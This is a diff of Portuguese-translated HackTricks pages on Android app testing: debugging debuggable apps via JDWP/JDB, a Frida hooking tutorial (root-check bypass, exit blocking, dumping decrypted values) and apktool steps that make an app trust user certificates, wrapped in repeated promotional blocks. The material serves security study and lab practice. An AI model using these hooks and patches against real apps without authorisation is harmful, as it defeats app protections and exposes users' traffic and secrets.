- O processo envolveu iniciar um emulador, instalar a aplicação vulnerável e usar `adb jdwp` para identificar as portas do Dalvik VM que estão ouvindo.
- O JDWP (Java Debug Wire Protocol) permite a depuração de uma aplicação em execução em uma VM, expondo uma porta única.
- O encaminhamento de porta foi necessário para depuração remota, seguido pela anexação do JDB à aplicação alvo.
## **Injetando Código em Tempo de Execução**
- A exploração foi realizada configurando pontos de interrupção e controlando o fluxo do aplicativo.
- Comandos como `classes` e `methods <nome_da_classe>` foram usados para descobrir a estrutura do aplicativo.
- Um ponto de interrupção foi definido no método `onClick`, e sua execução foi controlada.
- Os comandos `locals`, `next` e `set` foram utilizados para inspecionar e modificar variáveis locais, especialmente alterando a mensagem "Tentar Novamente" para "Hackeado".
- O código modificado foi executado usando o comando `run`, alterando com sucesso a saída do aplicativo em tempo real.
- A exploração foi realizada definindo breakpoints e controlando o fluxo da aplicação.
- Comandos como `classes` e `methods <class_name>` foram usados para descobrir a estrutura da aplicação.
- Um breakpoint foi definido no método `onClick`, e sua execução foi controlada.
- Os comandos `locals`, `next` e `set` foram utilizados para inspecionar e modificar variáveis locais, particularmente mudando a mensagem "Try Again" para "Hacked".
- O código modificado foi executado usando o comando `run`, alterando com sucesso a saída da aplicação em tempo real.
Este exemplo demonstrou como o comportamento de um aplicativo debuggeable pode ser manipulado, destacando o potencial para exploits mais complexos, como obter acesso ao shell no dispositivo no contexto do aplicativo.
Este exemplo demonstrou como o comportamento de uma aplicação debugável pode ser manipulado, destacando o potencial para explorações mais complexas, como obter acesso ao shell no dispositivo no contexto da aplicação.
## Referências
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Tutorial do Frida
# Frida Tutorial
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **bug bounty premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Instalação
Instale as **ferramentas do frida**:
Instale **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Baixe e instale** no Android o **servidor frida** ([Baixe a última versão](https://github.com/frida/frida/releases)).\
Um comando para reiniciar o adb em modo root, conectar a ele, fazer upload do frida-server, dar permissões de execução e executá-lo em segundo plano:
**Baixe e instale** no Android o **frida server** ([Baixe a versão mais recente](https://github.com/frida/frida/releases)).\
Um comando para reiniciar o adb em modo root, conectar-se a ele, fazer upload do frida-server, dar permissões de execução e executá-lo em segundo plano:
{% code overflow="wrap" %}
```bash
@ -53,10 +54,10 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
### [Tutorial 2](frida-tutorial-2.md)
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 e 4)\
**APKs e Código Fonte**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**De**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 & 4)\
**APKs e Código fonte**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Siga o [link para ler](frida-tutorial-2.md).**
**Siga o [link para ler.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
@ -82,7 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#frozen so that the instrumentation can occur, and the automatically
#continue execution with our modified code.
```
### Script Python Básico
### Script Básico em Python
```python
import frida, sys
@ -93,9 +94,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Enganando funções sem parâmetros
### Hooking functions without parameters
Engane a função `a()` da classe `sg.vantagepoint.a.c`
Hook a função `a()` da classe `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -106,33 +107,13 @@ return false;
});
```
Hook java `exit()`
Gancho em `exit()` do java
```javascript
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};
```
### Hook MainActivity `.onStart()` & `.onCreate()`
Para interceptar os métodos `.onStart()` e `.onCreate()` da MainActivity, você pode usar o seguinte script Frida:
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.MainActivity');
MainActivity.onStart.implementation = function() {
console.log('onStart() foi chamado');
this.onStart();
};
MainActivity.onCreate.implementation = function() {
console.log('onCreate() foi chamado');
this.onCreate();
};
});
```
Hook MainActivity `.onStart()` & `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
@ -144,19 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Hook android `.onCreate()`
Para interceptar a chamada do método `.onCreate()` em um aplicativo Android, você pode usar o Frida. Abaixo está um exemplo de script Frida que pode ser usado para realizar esse tipo de intercepção:
```javascript
Java.perform(function() {
var Activity = Java.use('android.app.Activity');
Activity.onCreate.implementation = function() {
console.log('onCreate() foi chamado');
this.onCreate();
};
});
```
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
@ -164,9 +133,9 @@ send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Enganchando funções com parâmetros e recuperando o valor
### Hooking functions with parameters and retrieving the value
Enganchando uma função de descriptografia. Imprimir a entrada, chamar a função original para descriptografar a entrada e, finalmente, imprimir os dados em texto simples:
Hooking uma função de decriptação. Imprima a entrada, chame a função original para decriptar a entrada e, finalmente, imprima os dados em texto claro:
```javascript
function getString(data){
var ret = "";
@ -191,9 +160,9 @@ send("Decrypted flag: " + flag);
return ret; //[B
};
```
### Enganando funções e chamando-as com nossa entrada
### Hooking functions and calling them with our input
Engane uma função que recebe uma string e a chame com outra string (de [aqui](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook uma função que recebe uma string e chame-a com outra string (de [aqui](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
@ -205,9 +174,9 @@ console.log("Return value: "+ret);
return ret;
};
```
### Obter um objeto de uma classe já criado
### Obtendo um objeto já criado de uma classe
Se deseja extrair algum atributo de um objeto criado, pode usar este método.
Se você quiser extrair algum atributo de um objeto criado, pode usar isso.
Neste exemplo, você verá como obter o objeto da classe my\_activity e como chamar a função .secret() que imprimirá um atributo privado do objeto:
```javascript
@ -219,29 +188,28 @@ console.log("Result of secret func: " + instance.secret());
onComplete:function(){}
});
```
## Outros tutoriais do Frida
## Outros tutoriais Frida
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
* [Parte 1 da série de blogs sobre o uso avançado do Frida: Bibliotecas de Criptografia do IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
* [Parte 1 da série de blogs sobre Uso Avançado do Frida: Bibliotecas de Criptografia IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Dê uma olhada em: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -20,19 +21,19 @@ Outras formas de apoiar o HackTricks:
***
Algumas aplicações não aceitam certificados baixados pelo usuário, então, para inspecionar o tráfego da web de algumas aplicações, precisamos descompilar a aplicação e adicionar algumas coisas e recompilá-la.
Algumas aplicações não aceitam certificados baixados pelo usuário, então, para inspecionar o tráfego da web de alguns aplicativos, precisamos realmente descompilar a aplicação, adicionar algumas coisas e recompilá-la.
# Automático
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) fará as alterações necessárias na aplicação para começar a capturar as solicitações e também desativará o pinning de certificados (se houver).
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **automaticamente** fará as alterações necessárias na aplicação para começar a capturar as requisições e também desativará o pinning de certificado (se houver).
# Manual
Primeiro descompilamos o aplicativo: `apktool d *nome-do-arquivo*.apk`
Primeiro, descompilamos o app: `apktool d *file-name*.apk`
![](../../.gitbook/assets/img9.png)
Em seguida, vamos para o arquivo **Manifest.xml** e rolamos até a tag `<\application android>` e vamos adicionar a seguinte linha se ela ainda não estiver lá:
Em seguida, vamos para o arquivo **Manifest.xml** e rolamos até a tag `<\application android>` e vamos adicionar a seguinte linha, se ainda não estiver lá:
`android:networkSecurityConfig="@xml/network_security_config`
@ -44,7 +45,7 @@ Depois de adicionar:
![](../../.gitbook/assets/img11.png)
Agora vá para a pasta **res/xml** e crie/modifique um arquivo chamado network\_security\_config.xml com o seguinte conteúdo:
Agora, vá para a pasta **res/xml** e crie/modifique um arquivo chamado network\_security\_config.xml com o seguinte conteúdo:
```markup
<network-security-config>
<base-config>
@ -57,11 +58,11 @@ Agora vá para a pasta **res/xml** e crie/modifique um arquivo chamado network\_
</base-config>
</network-security-config>
```
Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk com o seguinte comando: `apktool b *nome-da-pasta/* -o *arquivo-de-saida.apk*`
Então salve o arquivo e saia de todos os diretórios e reconstrua o apk com o seguinte comando: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompilando/\[Modificando\]/Compilando para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
Finalmente, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompiling/\[Modifying\]/Compiling para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
<details>
@ -75,10 +76,10 @@ Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Obtenha o [**merch oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivas
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,51 +1,50 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Técnicas de **Desofuscação Manual**
## Manual **Técnicas de De-obfuscação**
No campo da **segurança de software**, o processo de tornar o código obscuro compreensível, conhecido como **desofuscação**, é crucial. Este guia explora várias estratégias de desofuscação, focando em técnicas de análise estática e reconhecimento de padrões de ofuscação. Além disso, ele apresenta um exercício para aplicação prática e sugere recursos adicionais para aqueles interessados em explorar tópicos mais avançados.
No campo da **segurança de software**, o processo de tornar o código obscurecido compreensível, conhecido como **de-obfuscação**, é crucial. Este guia explora várias estratégias para de-obfuscação, focando em técnicas de análise estática e reconhecimento de padrões de ofuscação. Além disso, apresenta um exercício para aplicação prática e sugere recursos adicionais para aqueles interessados em explorar tópicos mais avançados.
### **Estratégias para Desofuscação Estática**
### **Estratégias para De-obfuscação Estática**
Ao lidar com **código ofuscado**, várias estratégias podem ser empregadas, dependendo da natureza da ofuscação:
Ao lidar com **código ofuscado**, várias estratégias podem ser empregadas dependendo da natureza da ofuscação:
- **Bytecode DEX (Java)**: Uma abordagem eficaz envolve identificar os métodos de desofuscação do aplicativo e replicar esses métodos em um arquivo Java. Este arquivo é executado para reverter a ofuscação nos elementos visados.
- **Java e Código Nativo**: Outro método é traduzir o algoritmo de desofuscação para uma linguagem de script como Python. Esta estratégia destaca que o objetivo principal não é entender completamente o algoritmo, mas executá-lo de forma eficaz.
- **Código bytecode DEX (Java)**: Uma abordagem eficaz envolve identificar os métodos de de-obfuscação do aplicativo e, em seguida, replicar esses métodos em um arquivo Java. Este arquivo é executado para reverter a ofuscação nos elementos alvo.
- **Código Java e Nativo**: Outro método é traduzir o algoritmo de de-obfuscação para uma linguagem de script como Python. Esta estratégia destaca que o objetivo principal não é entender completamente o algoritmo, mas executá-lo de forma eficaz.
### **Identificação de Ofuscação**
